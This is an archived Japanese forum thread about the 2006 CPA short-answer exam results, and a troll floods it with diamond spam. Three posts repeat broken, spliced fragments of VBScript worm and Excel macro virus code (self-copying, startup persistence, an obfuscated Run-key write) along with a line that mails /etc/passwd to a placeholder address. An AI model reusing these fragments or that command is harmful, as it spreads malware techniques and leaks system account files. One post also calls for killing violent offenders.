5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

★公認会計士【短答式】試験総合スレ50☆

1 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:10:36 ID:???
ついに今日発表!

2 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:11:15 ID:???
2おつ


3 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:11:53 ID:???
建てても荒らされるだけだろ

4 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:11:56 ID:F5Uq+cY8
今日通知が届くこともあるんすか?

5 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:12:04 ID:???
おつ。
初の2げっと。感無量。

6 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:12:53 ID:???
>>5
オメ

7 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:13:43 ID:???
50ってはやいな。。。

8 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:14:11 ID:???
やっと寝たか?

9 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 02:15:50 ID:???
いやーたすかった。


10 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:16:38 ID:???
まだあっちで続けてるな。何がしたいんだろ。

11 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 02:17:35 ID:???
>>8
ヤッと子供が泣きやみねてくれました。
おっとまた子供がおきると泣くのでシーーッ

12 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:18:34 ID:???
何なの一体?たぶん友達いないんだろうな

13 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:19:38 ID:???
友達いないというか
どういうDNAをもって生まれて、
どういう生い立ちをしたら、
ああいうことしようという思考回路になるんだろうね
ズレすぎ

14 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:20:13 ID:???
悲しいやつだな。俺は愚痴を聞いてやりたい気もしたが
あそこまで酷いなら無理かも。
会ったら殺される危険すらある。

15 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:20:43 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

16 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 02:21:03 ID:???
万いちやつがまた来ても、反応せずにスルーしましょう。
すこしでも反応すると、たぶんソレガエネルギーになると思う。

17 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:21:29 ID:???
チームプレイを必要とする会計士には向いてないだろ>あらしさん

18 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:21:32 ID:???
とりあえずここに気付かないようにたまに49スレに文句書こう


19 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:21:50 ID:???
なんで今年は官報に短答合格の名前載せないんだろ?
特に交流はない同級生の状況が知りたかったのに。

20 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:22:00 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"

21 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:22:30 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"

22 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:22:31 ID:???
>>19
え?載せるんじゃないの?

23 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:23:01 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"

24 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:23:34 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

25 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:24:08 ID:???
俺は東京のとある私立大学に通ってたんだが、俺が在学してたとき
うちの大学の人が通り魔やって人を切りつけた事件があった。
 その犯人はこの試験を落ちてムシャクシャしたからと犯行理由
を述べた。 

何年かたって俺がその試験受けるとは思わなかったよ

26 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:24:36 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

27 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:24:41 ID:???
>>22
短答に関しては番号だけなんだってよ。
要項をよく読むと書いてるわ。

28 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:25:07 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

29 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:25:29 ID:???
>>27
ええ!?それは知らなかった。


30 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:25:42 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

31 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:26:07 ID:???
ひし形は何を意味するの?

32 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:26:07 ID:???
そもそもむしゃくしゃして人を傷つけるような精神構造にあるくらいなら
一生刑務所かあるいは死んでもらったほうが社会的にはいいな。
そこで理性が働かないのはもはや社会にとどまるべきではないよ。


33 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:26:28 ID:???
ついにここも落ちたか・・。
諸君、まだマイナー46スレがあるじゃないか!

34 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:26:43 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

